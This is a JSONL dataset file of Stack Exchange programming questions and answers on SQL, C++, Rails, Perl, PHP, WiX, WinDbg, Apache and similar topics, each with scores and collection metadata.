{"id": "hf_0bb3e417b350", "question": "<p>I know that primary keys based on Guids do not have the best performance (due to the fragmentation), but they are globally unique and allow replication scenarios.</p>\n\n<p>Integral identifiers, on the other side, have greater performance at the cost of scalability.</p>\n\n<p>But in what scenarios would someone want to use sequential uniqueidentifier as the primary key? I think, that it beats the purpose of GUID, but still I see mentioning of the sequentals now and then.</p>\n\n<p>What do I miss here?</p>\n", "question_body": "", "answer": "What is commonly known as a sequential guids in SQL Server 2005 (generated by NEWSEQUENTIALID()) are an attempt to overcome the issues with normal guids.\nThey\nare\nstill universally unique but also are always ascending.  This means that they can be used for replication\nand\nhave much better insert performance than traditional GUIDs.\nThe one drawback is that they are not \"secure\" because it is possible to guess the next sequential guid.\nhttp://msdn.microsoft.com/en-us/library/ms189786.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.502501"}
{"id": "hf_a8f75ab2bdd9", "question": "<p>I display data into an html table, w/ a drop down box with a list of venues. Each volunteer will be assigned a venue. I envision being able to go down thru the html table and assigning each volunteer a venue. The drop down box contains all the possible venues that they can be assigned to.</p>\n\n<pre><code>&lt;select&gt;\n&lt;option value=\"1\"&gt;Setup&lt;/option&gt;\n&lt;option value=\"2\"&gt;Check in&lt;/option&gt;\netc...\n&lt;/select&gt;\n</code></pre>\n\n<p>Then once I am done assigning each volunteer, I want to hit submit and it will assign the appropriate value for each volunteer.</p>\n\n<p>How would I go about doing that, I know how to do that, but only one at a time.</p>\n", "question_body": "", "answer": "I can't think of any way. You can put multiple SQL statements into 1 MySQL query:\n```\n```\nUPDATE volunteer SET venue = 1 WHERE id = 2;\nUPDATE volunteer SET venue = 2 WHERE id = 3;\n...\n```\n```\nI wish there was a way, but I'm thinking that the where will be too different in each query to make it into one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.659985"}
{"id": "hf_5627d8193e28", "question": "<p>I am trying to retrieve an image stored in an oracle blob and place it in a new System.Drawing.Image instance. I know I can write the stream to a temp.bmp file on the disk and read it from there but thats just not l33t enough for me.  How do I convert the blob object directly to an image?</p>\n", "question_body": "", "answer": "I know this uses sql but it should be similar for your needs\n```\n```\nDim cn As SqlConnection = Nothing\n        Dim cmd As SqlCommand = Nothing\n        Dim da As SqlDataAdapter = Nothing\n        Dim ms As MemoryStream = Nothing\n        Dim dsImage As Data.DataSet = Nothing\n        Dim myBytes() As Byte = Nothing\n        Dim imgJPG As System.Drawing.Image = Nothing\n        Dim msOut As MemoryStream = Nothing\n\n        Try\n            cn = New SqlConnection(ConnectionStrings(\"conImageDB\").ToString)\n            cmd = New SqlCommand(AppSettings(\"sprocGetImage\").ToString, cn)\n            cmd.CommandType = Data.CommandType.StoredProcedure\n\n            cmd.Parameters.AddWithValue(\"@dmhiRowno\", irowno)\n\n            da = New SqlDataAdapter(cmd)\n\n            dsImage = New Data.DataSet\n            da.Fill(dsImage, \"image\")\n\n            If dsImage.Tables(0).Rows.Count = 0 Then\n                Throw New Exception(\"No results returned for rowno\")\n            End If\n            myBytes = dsImage.Tables(0).Rows(0)(\"Frontimage\")\n\n            ms = New MemoryStream\n            ms.Write(myBytes, 0, myBytes.Length)\n\n            imgJPG = System.Drawing.Image.FromStream(ms)\n\n            'Export to JPG Stream\n            msOut = New MemoryStream\n            imgJPG.Save(msOut, System.Drawing.Imaging.ImageFormat.Jpeg)\n            imgJPG.Dispose()\n            imgJPG = Nothing\n            ms.Close()\n            sFrontImage = Convert.ToBase64String(msOut.ToArray())\n\n            dsImage = New Data.DataSet\n            da.Fill(dsImage, \"image\")\n            myBytes = dsImage.Tables(0).Rows(0)(\"Backimage\")\n\n            ms = New MemoryStream\n            ms.Write(myBytes, 0, myBytes.Length)\n\n            imgJPG = System.Drawing.Image.FromStream(ms)\n            sBackImage = Convert.ToBase64String(ms.ToArray)\n\n        Catch ex As System.IO.IOException ' : An I/O error occurs.\n            Throw ex\n        Catch ex As System.ArgumentNullException ': buffer is null.\n            Throw ex\n        Catch ex As System.NotSupportedException ': The stream does not support writing. For additional information see System.IO.Stream.CanWrite.-or- The current position is closer than count bytes to the end of the stream, and the capacity cannot be modified.\n            Throw ex\n        Catch ex As System.ArgumentOutOfRangeException ': offset or count are negative.\n            Throw ex\n        Catch ex As System.ObjectDisposedException ' : The current stream instance is closed.\n            Throw ex\n        Catch ex As System.ArgumentException\n            Throw ex\n        Catch ex As System.Runtime.InteropServices.ExternalException ': The image was saved with the wrong image format\n            Throw ex\n        Catch ex As Exception\n            Throw ex\n        Finally\n            If cn IsNot Nothing Then\n                cn.Close()\n                cn.Dispose()\n                cn = Nothing\n            End If\n\n            If cmd IsNot Nothing Then\n                cmd.Dispose()\n                cmd = Nothing\n            End If\n\n            If da IsNot Nothing Then\n                da.Dispose()\n                da = Nothing\n            End If\n\n            If ms IsNot Nothing Then\n                ms.Dispose()\n                ms = Nothing\n            End If\n\n            If msOut IsNot Nothing Then\n                msOut.Close()\n                msOut.Dispose()\n                msOut = Nothing\n            End If\n\n            If dsImage IsNot Nothing Then\n                dsImage.Dispose()\n                dsImage = Nothing\n            End If\n\n            If myBytes IsNot Nothing Then\n                myBytes = Nothing\n            End If\n\n            If imgJPG IsNot Nothing Then\n                imgJPG.Dispose()\n                imgJPG = Nothing\n            End If\n\n        End Try\n```\n```\nThis code pulls back a tiff wrapped jpeg for the front image so the code is a bit different than for the back image.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.684188"}
{"id": "hf_c0d331d41739", "question": "<p>I see in C++ there are multiple ways to allocate and free data and I understand that when you call <code>malloc</code> you should call <code>free</code> and when you use the <code>new</code> operator you should pair with <code>delete</code> and it is a mistake to mix the two (e.g. Calling <code>free()</code> on something that was created with the <code>new</code> operator), but I'm not clear on when I should use <code>malloc</code>/ <code>free</code> and when I should use <code>new</code>/ <code>delete</code> in my real world programs.</p>\n\n<p>If you're a C++ expert, please let me know any rules of thumb or conventions you follow in this regard.</p>\n", "question_body": "", "answer": "Unless you are forced to use C, you should\nnever use\n```\nmalloc\n```\n.  Always use\n```\nnew\n```\n.\nIf you need a big chunk of data just do something like:\n```\n```\nchar *pBuffer = new char[1024];\n```\n```\nBe careful though this is not correct:\n```\n```\n//This is incorrect - may delete only one element, may corrupt the heap, or worse...\ndelete pBuffer;\n```\n```\nInstead you should do this when deleting an array of data:\n```\n```\n//This deletes all items in the array\ndelete[] pBuffer;\n```\n```\nThe\n```\nnew\n```\nkeyword is the C++ way of doing it, and it will ensure that your type will have its\nconstructor called\n.  The\n```\nnew\n```\nkeyword is also more\ntype-safe\nwhereas\n```\nmalloc\n```\nis not type-safe at all.\nThe only way I could think that would be beneficial to use\n```\nmalloc\n```\nwould be if you needed to\nchange the size of your buffer\nof data.  The\n```\nnew\n```\nkeyword does not have an analogous way like\n```\nrealloc\n```\n.  The\n```\nrealloc\n```\nfunction might be able to extend the size of a chunk of memory for you more efficiently.\nIt is worth mentioning that you cannot mix\n```\nnew\n```\n/\n```\nfree\n```\nand\n```\nmalloc\n```\n/\n```\ndelete\n```\n.\nNote: Some answers in this question are invalid.\n```\n```\nint* p_scalar = new int(5);  // Does not create 5 elements, but initializes to 5\nint* p_array  = new int[5];  // Creates 5 elements\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.757993"}
{"id": "hf_e757a1399f1d", "question": "<p>PNG images appear \"fuzzy\" in flash CS3. They are very blocky and appear unanti-aliased (if that is a word) Does anyone have a fix for this? Is there some setting I'm missing? </p>\n", "question_body": "", "answer": "Are you loading them into your SWF through a loader? Or are they imported into your library as bitmap symbols? If they are loaded in try calling Bitmap.smoothing = true; or if they are in your library go to the Bitmap's properties and click Allow smoothing.\nOther than that I would check to make sure you don't have some crazy above 1 alpha setting or that you aren't messing with the scale of it in your code at any time. Those two options tend to mess with bitmap images fuzziness.\nIf all else fails you'd probably want to look into turning your images into vector based graphics, then they'd always look exactly how you'd want them to regardless of scaling.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.783783"}
{"id": "hf_d09973ca813f", "question": "<p>I am currently using Rails 2.1.0 and want to upgrade to Rails 2.1.1. After issuing the following command </p>\n\n<pre><code>gem update rails\n</code></pre>\n\n<p>I suppose that I need to change this line </p>\n\n<pre><code>RAILS_GEM_VERSION = '2.1.0' unless defined? RAILS_GEM_VERSION\n</code></pre>\n\n<p>in environment.rb</p>\n\n<p>What other actions should I take to ensure that my application is using the latest version? Are there some other files that need an update?</p>\n", "question_body": "", "answer": "As far as I know, that right there defines what version of rails your application as a whole will use. I know for a project I'm in right now I had to override that to 2.1.1 to work on my VM because I had installed the latest, and had not specified the 2.1.0 as required by the project.\nThe biggest thing you have to watch out for is plugins and extensions that may override this setting, as well as incompatibility that will likely arise from changing versions.\nAlso there are some known issues with 2.1.1, unless there is a feature you absolutely need now, you may want to wait.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.820351"}
{"id": "hf_93de3426e1f5", "question": "<p>I downloaded a VM image of a web application that uses MySQL.</p>\n\n<p>How can I monitor its space consumption and know when additional space must be added?</p>\n", "question_body": "", "answer": "If only MySQL is available, use the SHOW TABLE STATUS command, and look at the Data_length column for each table, which is in bytes.\nIf you have other languages available on the machine, a script in any of them that runs regularly (cron), checks disk free space or size of database directory, and updates you over e-mail or otherwise. There are far too many options to suggest a particular solution -- it depends on your situation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.845335"}
{"id": "hf_ead2f08a2bd6", "question": "<p>If I have two variables containing binary values, how do I append them together as one binary value?  For example, if I used WMI to read the registry of two REG_BINARY value, I then want to be able to concatenate the values.</p>\n\n<p>VBScript complains of a type mismatch when you try to join with the '&amp;' operator.</p>\n", "question_body": "", "answer": "Perhaps...\n```\n```\nresult = CStr(val1) & CStr(val2)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.881780"}
{"id": "hf_883829c20cf5", "question": "<p>Is there a way to do this in one line?</p>\n\n<pre><code>$x =~ s/^\\s+//;\n$x =~ s/\\s+$//;\n</code></pre>\n\n<p>In other words, remove all leading and trailing whitespace from a string.</p>\n", "question_body": "", "answer": "Here you go:\n```\n$x =~ s/\\A\\s*(.*?)\\s*\\z/$1/;\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.919255"}
{"id": "hf_815717e0b952", "question": "<p>I have topics(id*) and tags(id*,name) and a linking table topic_tags(topicFk*,tagFk*).</p>\n\n<p>Now I want to select every single topic, that has all of the good tags (a,b,c) but none of the bad tags (d,e,f).</p>\n\n<p>How do I do that?</p>\n", "question_body": "", "answer": "Here's a solution that would work, but requires a join for every tag you require.\n```\n```\nSELECT *\nFROM topics\nWHERE topic_id IN\n    (SELECT topic_id\n    FROM topic_tags a\n    INNER JOIN topic_tags b\n      on a.topic_id=b.topic_id\n      and b.tag = 'b'\n    INNER JOIN topic_tags c\n      on b.topic_id=c.topic_d\n      and c.tag = 'c'\n    WHERE a.tag = 'a')\nAND topic_id NOT IN\n    (SELECT topic_id\n    FROM topic_tags\n    WHERE tag = 'd' or tag = 'e' or tag = 'f')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.944009"}
{"id": "hf_c15c264a45d8", "question": "<p>I have a situation where I have two models, companies and permissions, where companies is in a separate database from my permissions database.  This is a has and belongs to many relationship because each company can have many permissions and each permission can belong to many companies.</p>\n\n<p>The reason the two databases are split is because the company database runs a high demand production application and the permissions database controls the permissions for another application.</p>\n\n<p>With rails, it looks for the join table in the same database as the primary table.  For instance, if I do company.permissions, it looks in the company database for company_permissions.  If I do permission.companies it looks in the permissions database.</p>\n\n<p>What is the best solution to using a has and belongs to many relationship with multiple databases?</p>\n", "question_body": "", "answer": "If the companies data does not change very often, perhaps you could synchronize the data into the permissions database, then do your join naturally. A CMS I inherited is doing something like that where the user authentication is in its own database, and the permissions and such are all stored there, and user accounts are synch'd to the local database for each site. This way user accounts could be shared (especially for administration) across multiple sites with 1 login.\nMay not be the best because a synch is involved. Ideally you should just store the company data in the permissions db if you can't move permissions out. Unless of course you are joining on company elsewhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:07.968525"}
{"id": "hf_b13eeb1e88fe", "question": "<p>What is the best comment in source code you have ever encountered?</p>\n", "question_body": "", "answer": "```\n```\n//ALL YOUR BASE ARE BELONG TO US\n```\n```\n...it made my boss think someone had hacked in. He didn't know the joke.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.015429"}
{"id": "hf_815d70ed9aa7", "question": "<p>What is the best way to copy a list? I know the following ways, which one is better? Or is there another way?</p>\n\n<pre><code>lst = ['one', 2, 3]\n\nlst1 = list(lst)\n\nlst2 = lst[:]\n\nimport copy\nlst3 = copy.copy(lst)\n</code></pre>\n", "question_body": "", "answer": "If you want a shallow copy (elements aren't copied) use:\n```\n```\nlst2=lst1[:]\n```\n```\nIf you want to make a deep copy then use the copy module:\n```\n```\nimport copy\nlst2=copy.deepcopy(lst1)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.052841"}
{"id": "hf_7952ed7f9917", "question": "<p>I've read (and re-read) Martin Fowler's <a href=\"http://martinfowler.com/articles/mocksArentStubs.html\" rel=\"noreferrer\">Mocks Aren't Stubs</a>.  In it, he defines <a href=\"http://martinfowler.com/articles/mocksArentStubs.html#ClassicalAndMockistTesting\" rel=\"noreferrer\">two different approaches to TDD: \"Classical\" and \"Mockist\"</a>.  He attempts to answer the question \"<a href=\"http://martinfowler.com/articles/mocksArentStubs.html#SoShouldIBeAClassicistOrAMockist\" rel=\"noreferrer\">So should I be a classicist or a mockist?</a>\", but he admits that he has never tried mockist TDD on \"anything more than toys.\"  So I thought I'd ask the question here.  Good answers may repeat Fowler's arguments (but hopefully more clearly) or add arguments that he didn't think of or that others have come up with since Fowler last updated the essay back in January 2007.</p>\n", "question_body": "", "answer": "I don't think you need to choose one over the other. Both have their advantages and disadvantages and both are tools for your toolbox.\n\"Mockist\" tdd makes you a bit more flexible in what you can test while classical TDD makes your tests a bit less brittle because they tend to look more at the input/vs output instead of looking at the actual implementation. When doing mockist unit testing I seem to have more tests break when changing the implementation.\nI try to use classical tdd whenever possible (although i often use a mocking framework to set up the stubs quickly). Sometimes I notice I start testing too much at one time or i need too many objects to set up a test. That's when mockist testing can often help you set up smaller tests.\nThis is all quite abstract so I hope i make sense", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.127180"}
{"id": "hf_b685d74060f4", "question": "<p>Let's say that you have a product that is written in Visual Studio and you provide your customers and users with an installer for that product.</p>\n\n<p>Then, you have some minor changes that you want to deploy to your users; you don't want your users to have to go through an uninstall process, backing up the configuration and then reinstalling the product again and restoring the configuration.</p>\n\n<p>Instead, you want to provide a \"hot-fix\" that the users can simply copy over the already installed product. Using Visual Studio or some Microsoft tools, how would you go about this?</p>\n\n<p>I don't know if it matters, but lets say that the product is 1) partially a web application, 2) partially a windows service and 3) partially a windows application.</p>\n", "question_body": "", "answer": "Use\nWiX\n.\nIt can deal with all those things (installation web applications, services, etc), and it's very flexible, free, and it's what Microsoft uses to build their installers.\nYou can install\nVotive\nto work with WiX inside of Visual Studio.\nThe details of how to do exactly what you're asking is a bit complex, and depends on the specifics of the situation. In general, you need to build your initial MSI to have an upgrade code. Then, subsequent upgrade installers will use the same product code and  upgrade code, but change the version. You can read the details of how to do this with WiX as\npart 4 of the tutorial\n.\nIF you have existing installs, they may or may not have an upgrade code already set. You can find out by examining them using\nORCA\n(\nMSDN how to here\n).\nThis can also be done via the .Net Setup projects built into Visual Studio, but I advise against that. They are not as flexible as WiX. If you care about your installation, and have something as complicated as what you're describing to install, WiX is the best way to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.152103"}
{"id": "hf_597129741121", "question": "<p>I'm using SimpleDateFormat with the pattern <code>EEE MM/dd  hh:mma</code>, passing in the date String <code>Thu 10/9  08:15PM</code> and it's throwing an Unparseable date exception. Why? I've used various patterns with <code>SimpleDateFormat</code> before so I'm fairly familiar with its usage. Maybe I'm missing something obvious from staring at it too long.</p>\n\n<p>The other possibility is funky (technical term) whitespace. The context is a screen-scraping app, where I'm using HtmlCleaner to tidy up the messy html.  While I've found HtmlCleaner to be pretty good overall, I've noticed strange issues with characters that look like whitespace but aren't recognized as such with a StringTokenizer, for example. I've mostly worked around it and haven't dug into the character encoding or anything like that but am starting to wonder.</p>\n", "question_body": "", "answer": "Try this instead for your pattern:\n```\n```\nEEE MM/d hh:mma\n```\n```\nThe difference is the single\n```\nd\n```\ninstead of double\n```\ndd\n```\n, since your date is for 10/9 instead of 10/09.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.201547"}
{"id": "hf_5f84bc3419cc", "question": "<p>Which of these pieces of code is faster?</p>\n\n<pre><code>if (obj is ClassA) {}\n\nif (obj.GetType() == typeof(ClassA)) {}\n</code></pre>\n\n<p>Edit:\nI'm aware that they don't do the same thing.</p>\n", "question_body": "", "answer": "This should answer that question, and then some.\nThe second line,\n```\nif (obj.GetType() == typeof(ClassA)) {}\n```\n, is faster, for those that don't want to read the article.\n(Be aware that they don't do the same thing)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.226513"}
{"id": "hf_327720d7f792", "question": "<p>Can someone give me step by step instructions or point to the correct references in the correct order </p>\n\n<p>so that I can determine the root cause of this issue?</p>\n", "question_body": "", "answer": "You can get a memory dump of the process and look into it WinDbg. It will at least give you a list of exceptions and the threads' current state(s). Doing so will recycle the process though.  It is also possible to attach to a QA style machine in a remote debug mode from visual studio. However I've not done this, and it would hang every other request while you debug.\nIf w3wp is running locally, you can right click on the process in the task manager and select debug to get a look at in in WinDbg.\nOtherwise you want something like Debug Diag on your production/test machine to create a full user dump. See:\nhttp://msdnrss.thecoderblogs.com/2008/05/21/debugdiag-11-or-windbg-which-one-should-i-use-and-how-do-i-gather-memory-dumps/\nI did all this back in February, and haven't needed to since. the full step by step is actually somewhat painful due to getting symbols for WinDbg and configuring environment variables for where they should be stored etc.\nFor information on setting up WinDbg for ASP.NET inspection look at this article:\nhttp://support.microsoft.com/kb/892277", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.267732"}
{"id": "hf_048a25be71fb", "question": "<p>I have a form that is sending in sizes of things, and I need to see what the strings are equal to so that I can set the price accordingly. When i try to do this, it says that they are not equal, and i get no prices. This is the code i'm using:</p>\n\n<pre><code>if ($_POST['sizes'] == \"Small ($30)\"){$total = \"30\";}\nif ($_POST['sizes'] == \"Medium ($40)\"){$total = \"40\";}\nif ($_POST['sizes'] == \"Large ($50)\"){$total = \"50\";}\nelse {$total = $_POST['price'];}\n</code></pre>\n\n<p>What am i doing wrong here? I can echo $_POST['sizes'] and it gives me exactly one of those things.</p>\n", "question_body": "", "answer": "Try using single quotes\n```\n```\nif ($_POST['sizes'] == 'Small ($30)'){$total = \"30\";}\nelseif ($_POST['sizes'] == 'Medium ($40)'){$total = \"40\";}\nelseif ($_POST['sizes'] == 'Large ($50)'){$total = \"50\";}\nelse {$total = $_POST['price'];}\n```\n```\nDouble quoted strings use variable interpolation, so the $ symbol becomes significant! See\nthis manual page\nfor the differences in how you can declare string literals in PHP.\n(Edited to correct the logic error - as others noted, a switch would be much clearer here)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.293124"}
{"id": "hf_92c6b325d651", "question": "<p>Like it is the case with jpeg images for example?\nWhat's about mp3 or ogg vorbis audio files?</p>\n", "question_body": "", "answer": "It all depends on the definition of \"loading\" and \"saving\".\nIf the program in question actually decodes mp3/ogg upon loading and encodes in back when saving (this could be detected by noticeable time it takes to save a file), then yes - you could experience degradation in quality. Especially if the encoding uses different settings (lower bitrate, etc).\nOn the other hand, a loseless mp3 splitter, for example, could take mp3 and split it into several smaller mp3's without re-encoding them.\nSo you need to consult a manual of the software in question, there is no generic answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.330110"}
{"id": "hf_cf95fe95b17d", "question": "<p>What is the difference between a deep copy and a shallow copy?</p>\n", "question_body": "", "answer": "In short, it depends on what points to what. In a shallow copy, object B points to object A's location in memory. In deep copy, all things in object A's memory location get copied to object B's memory location.\nThis wiki article has a great diagram.\nhttp://en.wikipedia.org/wiki/Object_copy", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.355274"}
{"id": "hf_4992c41ab0f9", "question": "<p>I have a windows c# application and I want to display a pdf file, located on a webserver, in an acrobat com object added to my form. </p>\n\n<pre><code>pdf.loadfile(@\"http://somewhere.com/nowwhere.pdf\")\n</code></pre>\n\n<p>As my pdf is large, the application seems to hang till the entire file is loaded. </p>\n\n<p>I want to read the large file without the user being under the perception that the application is hung.</p>\n", "question_body": "", "answer": "Three suggestions.\nthe first would be to break it and load a page at a time like some online books do. This is a bit annoying but would save you the loading time. I think ItextSharp has some functionality to do this.\nSecond try compression. again itextsharp has tools that allow for this\nMy third suggestion would be to check out\nThis thread\n. choose a few nerdy loading phrases and use an animated gif to distract your client from the long loading time. Obviously this is a last resort, but could useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.382354"}
{"id": "hf_8890929945b4", "question": "<p>I have a (Wordpress powered) website, and Google is indexing some of the sub-directories. How can I stop Apache from showing users the directory listing? I know I can edit .htaccess to password-protect a directory, but I would prefer a 403 / custom redirect if possible.</p>\n", "question_body": "", "answer": "Look at your robots.txt rules, and make sure apache is not serving-up directory listings.\nsee\nhttp://httpd.apache.org/docs/2.0/howto/htaccess.html\n&&\nhttp://www.webmasterworld.com/forum92/5272.htm", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.480002"}
{"id": "hf_d9dbc26de62a", "question": "<p>I swear there used to be a way in X to start capturing all terminal traffic to a file on your host. It may have been a HummingBird extension, but I thought it was standard. Now, I can't find the trick. Am I hallucinating (happens when you get old), or is it possible?<br><br>I'm not talking about 'tee'. I want to be able to send a xterm control-sequence to stdout, giving a file name, and have everthing shown in the window from that time onward saved to the file (until the bookend cancel is issued).</p>\n", "question_body": "", "answer": "I am a little bit confused by the way you asked your question. First you mention Xterm then X and then terminal, are you simply looking for the \"tee\" (\n```\nman tee\n```\n) command?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.554515"}
{"id": "hf_dd8b9df50261", "question": "<p>I want to make a link call a Javascript function through the onclick event and not do anything else (follow the link). What is the best way to do that? I usually do this:</p>\n\n<pre><code>&lt;a href=\"#\" onclick=\"foo()\"&gt;Click&lt;/a&gt;\n</code></pre>\n\n<p>But I'm not sure that is the best way and in this case it is navigating to page.html# which isn't good for what I'm doing.  </p>\n", "question_body": "", "answer": "```\n```\n<a href=\"javascript: foo()\" >Click</a>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.591163"}
{"id": "hf_6729cd83f592", "question": "<p>I just want to enable or disable the button inside a ControlTemplate for a WPF Editor that I'm using.</p>\n", "question_body": "", "answer": "You really shouldn't be doing that explicitly, but instead be setting it with Triggers in the\n```\nControlTemplate\n```\nitself. These Triggers would be reacting to some other change, and would set the\n```\nEnabled\n```\nproperty of the\n```\nButton\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.671882"}
{"id": "hf_e74d3a5b6013", "question": "<p>I have a webapp which resizes its window to exactly fit its contents:</p>\n\n<pre><code>window.resizeTo(200,300)\n</code></pre>\n\n<p>People do like having the page fit its window in this way. However with Firefox the next browser window the user opens comes up at the same size, which is ridiculously small.</p>\n\n<p>Is there a way to tell Firefox to resize the current window, but not change its notion of how large subsequent windows should be?</p>\n", "question_body": "", "answer": "People do like having the page fit its window in this way.\nWhich\npeople?! I'd be seriously annoyed if a web page did anything to the size of my browser window. Fortunately, FF also allows users to disable moving or resizing existing windows, a feature i've taken advantage of for several years.\nYou should be able to open a\nnew\nwindow at a specific size using\n```\nwindow.open\n```\n, so you could use that... or better yet, just allow your document to resize / reflow to fit into whatever window size the user prefers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:08.745962"}
